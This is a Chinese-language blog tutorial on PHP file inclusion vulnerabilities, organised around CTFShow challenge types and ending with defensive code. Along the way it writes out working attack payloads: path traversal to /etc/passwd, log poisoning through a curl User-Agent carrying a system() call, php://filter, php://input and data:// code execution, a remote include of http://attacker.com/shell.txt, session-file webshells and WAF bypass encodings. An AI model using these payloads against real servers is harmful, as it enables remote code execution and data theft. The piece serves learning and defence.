多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

文件包含漏洞:从原理到实战,CTFShow题型与防御全解析

文件包含漏洞:从原理到实战,CTFShow题型与防御全解析 1. 从“文件包含”到“代码执行”一个被低估的致命漏洞在Web安全测试和CTF比赛中文件包含漏洞File Inclusion Vulnerability绝对是一个高频考点也是一个在真实渗透测试中极具杀伤力的“武器”。很多刚入门的朋友包括我自己在早期都容易把它和“文件上传”或“目录遍历”混淆或者觉得它无非就是读个/etc/passwd没什么大不了的。这种轻视恰恰是最大的误区。文件包含漏洞的本质是应用程序在动态包含文件时未对用户可控的输入进行严格的校验和过滤导致攻击者可以包含并执行任意文件通常是脚本文件。这直接跨越了“读取数据”的边界进入了“执行代码”的领域。想象一下你只是提交了一个URL参数服务器就乖乖地把你指定的一个恶意脚本当作它自己程序的一部分来执行这相当于你把遥控炸弹的引爆器直接交给了攻击者。最近在CTFShow的Web入门系列题目里文件包含相关的题目反复出现从基础的本地文件包含LFI到需要结合其他技巧的远程文件包含RFI再到各种奇奇怪怪的限制绕过几乎贯穿了整个学习路径。这恰恰说明了这个漏洞的普遍性和重要性。它不像SQL注入那样有那么多眼花缭乱的Payload也不像XSS那样直接面向用户但它静默、致命常常是拿到服务器权限的关键一步。今天我就结合CTFShow的经典题型和实战中的经验把这个漏洞从原理到利用再到防御彻底讲透。2. 文件包含漏洞的核心原理为什么程序会“听话”要利用一个漏洞首先得理解它为什么会产生。文件包含通常出现在使用诸如PHP的include、require、include_once、require_once等函数的场景中。这些函数的设计初衷是为了代码复用和模块化开发比如把头部、尾部、配置文件单独写成文件然后在需要的地方包含进来。一个最基础的、存在漏洞的代码可能长这样// index.php $page $_GET[page]; include($page . .php);程序的本意可能是用户访问index.php?pagehome我就包含home.php文件来展示首页。看起来逻辑清晰对吧问题就出在$_GET[page]这个用户输入完全可控且没有经过任何过滤就直接拼接进了include的路径里。漏洞产生的根本原因开发者错误地假设用户只会输入像 “home”、“about” 这样的预定义文件名。但攻击者不会按常理出牌。如果攻击者构造?page../../../../etc/passwd%00会发生什么$page被赋值为../../../../etc/passwd%00。拼接后include试图加载的文件路径是../../../../etc/passwd%00.php。在旧版本PHP5.3.4的特定配置下%00空字符会被截断导致实际包含的文件是/etc/passwd。即使没有空字符攻击者也可能利用其他技巧如路径长度截断、协议包装器来达成目的。此时include函数会尝试将/etc/passwd这个文本文件的内容包含进来。虽然它本身不是PHP代码不会被执行但文件内容会被直接输出到页面上导致敏感信息泄露。这仅仅是开始。更危险的情况如果攻击者能上传一个文件到服务器哪怕只是一个图片或者知道服务器上某个可写目录的路径如日志目录他就可以将PHP代码写入这个文件然后通过文件包含漏洞去包含这个文件。由于include函数会把被包含文件的内容当作PHP代码来解析执行这就实现了从“文件包含”到“远程代码执行RCE”的质变。注意include和require的主要区别在于错误处理方式。include在包含失败时产生警告E_WARNING脚本继续执行require失败则产生致命错误E_COMPILE_ERROR脚本停止。但这对于漏洞利用来说没有区别它们都是危险的入口。3. 本地文件包含LFI实战从信息泄露到代码执行本地文件包含Local File Inclusion是指包含服务器本地的文件。这是CTFShow早期题目中最常见的类型也是理解漏洞的基础。3.1 基础利用敏感文件读取最简单的利用就是读取系统敏感文件获取信息以便进一步攻击。Linux系统/etc/passwd查看系统用户列表虽然密码哈希现在多在/etc/shadow但这仍是重要的信息源。/proc/self/environ包含当前进程的环境变量可能泄露路径、密钥等信息。/var/log/apache2/access.log或/var/log/nginx/access.logWeb访问日志。如果日志中包含User-Agent或请求参数并且我们能控制它比如在请求中插入PHP代码那么包含日志文件就等于执行了我们插入的代码。/var/www/html/config.php网站配置文件可能包含数据库密码。Windows系统C:\windows\system32\drivers\etc\hostsC:\boot.ini旧系统在CTFShow的题目中常常会设置一些简单的过滤比如必须包含.php后缀。这时就需要用到空字节截断PHP5.3.4或路径长度截断。例如题目代码可能是include($_GET[f]..php);。要读取/etc/passwd可以尝试?f../../../../etc/passwd%00空字节截断使.php被忽略?f../../../../etc/passwd\0同上另一种表示?f../../../../etc/passwd./././.[重复很多次]路径长度截断超过系统最大路径长度3.2 进阶利用日志文件注入与包含这是LFI到RCE的经典桥梁。假设我们发现了LFI漏洞并且知道Web服务器的访问日志路径如/var/log/nginx/access.log。攻击步骤如下确认日志位置和可读性先通过LFI尝试包含常见的日志路径看是否能读取到日志内容。污染日志构造一个特殊的HTTP请求将PHP代码写入User-Agent头或请求参数中。因为Web服务器会记录这些信息到访问日志。curl -H User-Agent: ?php system(id); ? http://target.com/包含日志文件利用LFI漏洞去包含这个日志文件。当服务器解析日志文件时会把我们写入的?php system(id); ?当作PHP代码执行从而在响应中看到命令id的执行结果。这个方法的成功率很高因为日志文件通常Web进程有读写权限且内容部分可控。我在一次内部测试中就是通过这种方式在只能上传图片的站点上实现了RCE先上传一个包含PHP代码的图片马代码写在图片的EXIF信息或文件末尾然后通过LFI包含这个图片文件。由于服务器配置不当如未关闭php_flag engine on对于图片目录图片中的PHP代码被成功执行。3.3 PHP封装协议在LFI中的妙用PHP内置了一系列封装协议Wrapper它们可以在文件系统函数中像普通文件路径一样使用这为LFI利用打开了新世界的大门。即使不能直接包含.php以外的文件利用这些协议也能达到读取源码、执行代码的目的。php://filter最常用用于读取文件源码。当目标文件有.php后缀被包含时会直接执行我们看不到源码。filter协议可以让我们以“读取”而非“执行”的方式获取文件内容。读取源码?filephp://filter/readconvert.base64-encode/resourceindex.phpconvert.base64-encode这个过滤器会将文件内容进行Base64编码后再输出。为什么要编码因为include函数会执行原始的PHP代码如果直接输出代码会在服务器端执行我们看不到。编码后执行的是include(一串base64代码)这通常会出错或没有输出但如果我们用file_get_contents()或漏洞点本身支持输出内容比如不是include而是readfile我们就能拿到Base64编码后的源码解码即可。resourceindex.php指定要读取的文件。组合利用在CTF中经常需要读取关键源码如config.php,flag.php来获取下一步的线索或直接拿到flag。php://filter是必考知识点。php://input可以访问请求的原始数据即HTTP POST请求的body部分。这需要allow_url_include配置为On默认是Off所以实战中较少见但CTF中常有。利用方式POST /vuln.php?filephp://input HTTP/1.1 ... ?php system(ls); ?服务器端的include($_GET[file])会包含php://input这个“流”而这个流的内容就是我们POST过去的PHP代码从而直接执行。data://同样需要allow_url_includeOn。它允许直接包含一段Base64编码的数据作为代码执行。利用方式?filedata://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg其中PD9waHAgc3lzdGVtKCJscyIpOyA/Pg是?php system(ls); ?的Base64编码。提示在真实环境中allow_url_include和allow_url_fopen默认关闭因此php://input和data://利用条件苛刻。但php://filter几乎总是可用因为它不涉及远程URL包含主要用于本地文件流处理。4. 远程文件包含RFI与协议拓展远程文件包含Remote File Inclusion是指包含远程服务器上的文件。其利用条件比LFI更严格allow_url_fopen On默认可能为Onallow_url_include On默认通常为Off程序未对包含路径进行协议限制如禁止http://。如果条件满足攻击就变得非常简单直接?filehttp://attacker.com/shell.txt。攻击者在自己控制的服务器上放置一个包含PHP代码的文本文件shell.txt当目标服务器包含这个URL时会下载该文件并将其内容作为PHP代码执行。为什么是.txt文件因为目标服务器是根据文件内容即?php ... ?标签来判断和执行PHP代码的与文件扩展名无关。当然如果攻击者的服务器支持PHP放一个.php文件也可以结果一样。RFI的实战价值与限制在早年互联网安全意识薄弱的时期RFI非常流行。但现在由于默认配置的收紧纯粹的RFI漏洞已经较少见。然而RFI的思想被延伸到了利用其他协议进行攻击。利用SMB共享Windows环境即使allow_url_includeOff在某些Windows系统上include函数依然可以加载SMB共享路径上的文件如\\192.168.1.1\share\shell.php。这属于一种“远程”包含但走的是SMB协议而非HTTP。利用FTP、SSH等协议原理类似取决于PHP环境和配置是否支持这些包装器。在CTFShow的进阶题目中可能会遇到看似是LFI实则需要结合RFI思想或特定协议包装器来解题的情况。例如题目可能禁用了http://但未禁用ftp://或者通过一些奇怪的过滤让你必须从远程加载一个Payload。5. CTFShow文件包含经典题型套路拆解CTFShow的题目设计往往层层递进考察对漏洞原理和绕过技巧的掌握。下面我梳理几个典型套路套路一基础过滤与截断题目代码include($_GET[file] . .html);考察点如何绕过固定的.html后缀。 解法尝试空字节截断?file../../../../etc/passwd%00PHP版本需支持。尝试路径长度截断PHP版本限制。更通用的解法利用php://filter协议。因为协议后面可以跟自己的参数不受后缀影响。?filephp://filter/readconvert.base64-encode/resourceflag。这里resourceflag会拼接成flag.html但服务器会去找flag.html这个文件并用filter处理。如果题目本意是让你读flag.php可能需要目录穿越。套路二前缀限制题目代码include(/var/www/html/ . $_GET[file]);考察点路径被写死前缀无法使用../跳出目录。 解法利用协议包装器前缀是一个目录路径后面拼接我们的输入。我们可以输入php://input那么最终包含的就是/var/www/html/php://input。在PHP中当遇到类似/path/php://input的路径时它仍然会尝试解析php://input这个协议。这是一种“协议流的绝对路径”写法通常可行。?filephp://input然后POST body发送PHP代码。利用日志包含如果前缀目录下有可写的日志文件或其他可控文件可以包含它们。例如包含访问日志?file../../../../var/log/apache2/access.log但这里需要跳出/var/www/html目录如果前缀写死且无法跳出此路不通。所以更可能的是利用php://filter读取源码。套路三后缀黑名单/白名单题目代码检查文件后缀是否为.php是则包含。 考察点如何让非.php文件被当作PHP执行或者如何读取.php文件的源码。 解法对于非.php文件执行利用服务器配置漏洞例如在Apache中如果目录下有.htaccess文件配置了AddType application/x-httpd-php .phtml .inc那么.inc文件也能被解析。或者利用文件包含本身特性只要文件内容符合PHP语法被包含时就会执行与后缀无关除非服务器有额外配置阻止。因此可以上传.txt文件马然后包含。对于读取.php文件源码必用php://filter的Base64编码或ROT13编码等过滤器。套路四Session文件包含这是一种非常巧妙且真实的利用方式。PHP的Session默认会以文件形式存储在服务器上如/tmp/sess_[PHPSESSID]文件内容包含了序列化的Session变量。如果我们可以控制一部分Session数据那么就能向这个Session文件中注入PHP代码。 攻击步骤找到Session文件存储路径通常通过phpinfo()或默认路径/tmp。通过网站功能如个人信息修改、留言板向$_SESSION中写入一个值例如$_SESSION[name] ?php system(ls); ?。注意这里写入的引号和尖括号需要根据上下文进行转义或编码否则可能在写入时被破坏。获取或固定自己的PHPSESSID。利用LFI漏洞包含这个Session文件?file/tmp/sess_你的PHPSESSID。 如果成功其中的PHP代码就会被执行。CTFShow中有一道经典题目就是考察这个需要先通过其他漏洞如文件上传写入一个一句话木马到Session文件然后再包含执行。6. 绕过WAF与特殊过滤技巧在实际漏洞利用中经常会遇到Web应用防火墙WAF或开发者自定义的过滤规则。以下是一些常见的绕过技巧编码绕过URL编码../可以编码为%2e%2e%2f或..%2f。双重编码%252e%252e%252f%25是%的编码。Unicode编码在某些解析环境下可能有效。特殊字符干扰使用./、/.、..././等冗余路径。例如....//在某些情况下被规范化后仍是../。在Windows下还可以尝试使用..\、..//混合斜杠。协议包装器变形php://filter可以写作php://filter。使用PHP://大小写混合尝试绕过基于大小写的过滤。尝试其他协议如zip://、phar://这两个常用于PHP反序列化结合文件包含形成phar反序列化漏洞是另一个大话题。长度截断在PHP旧版本中文件系统函数存在最大路径长度限制如4096字节。通过填充大量./或/./使路径超长后面的.php后缀会被截断。例如?file../../../etc/passwd/././././[重复很多次]。点号截断在Windows下文件名后的.和空格会被自动去除。例如file.php.或file.php末尾空格可能被当作file.php。但这对包含漏洞的利用帮助有限更多用于文件上传。注意这些绕过技巧高度依赖于后端PHP版本、操作系统和具体的过滤逻辑。最好的方法是采用“模糊测试”的思路准备一个包含各种Payload的字典通过工具如Burp Suite Intruder进行自动化测试观察响应差异。7. 防御之道如何避免文件包含漏洞理解了攻击防御就更有针对性。作为开发者必须杜绝此类漏洞。白名单制度最有效不要使用用户输入直接作为包含的文件名。如果必须动态包含应使用一个预定义的映射数组白名单。$allowed_pages [home home.php, about about.php, contact contact.php]; $page $_GET[page]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(404.php); }固定目录禁止路径穿越如果无法使用白名单至少要将包含文件限制在某个特定目录下并过滤掉路径遍历字符。$base_dir /var/www/html/includes/; $file $_GET[file]; // 过滤目录遍历 if (strpos($file, ..) ! false || strpos($file, /) 0) { die(非法请求); } $path realpath($base_dir . $file); // 确保最终路径仍在安全目录内 if (strpos($path, $base_dir) 0) { include($path); } else { die(文件不存在); }使用realpath()函数解析绝对路径并与基准目录进行比较是更稳妥的方法。禁用危险配置在php.ini中确保以下配置allow_url_fopen Off allow_url_include Off这能从根本上杜绝RFI漏洞。使用安全的文件操作函数考虑使用basename()函数只获取路径中的文件名部分但这只能防止简单的目录穿越无法应对所有情况。输入验证与过滤对用户输入进行严格的类型和格式检查。例如如果期望是字母数字就用正则表达式preg_match(/^[a-zA-Z0-9]$/, $input)进行校验。设置open_basedir在php.ini中配置open_basedir将PHP可访问的文件限制在指定的目录树中。这是一个重要的安全屏障即使存在包含漏洞攻击者也无法跳出这个“监狱”。文件包含漏洞的防御核心思想就是“不信任任何用户输入”并对程序的行为施加严格的边界限制。在代码审查和渗透测试中凡是看到include、require这类函数与用户输入直接关联就必须打起十二分精神。回顾整个文件包含漏洞的学习和实战过程它给我的最大启示是安全是一个链条任何一个环节的疏忽都可能导致全线崩溃。文件包含可能始于一个不起眼的参数却可以串联起信息泄露、文件上传、日志记录等多个点最终形成远程代码执行的致命攻击。在CTF中破解它需要技巧和耐心在真实开发中防御它则需要严谨和敬畏。每一次对include函数的谨慎处理都是对系统安全防线的一次加固。
返回列表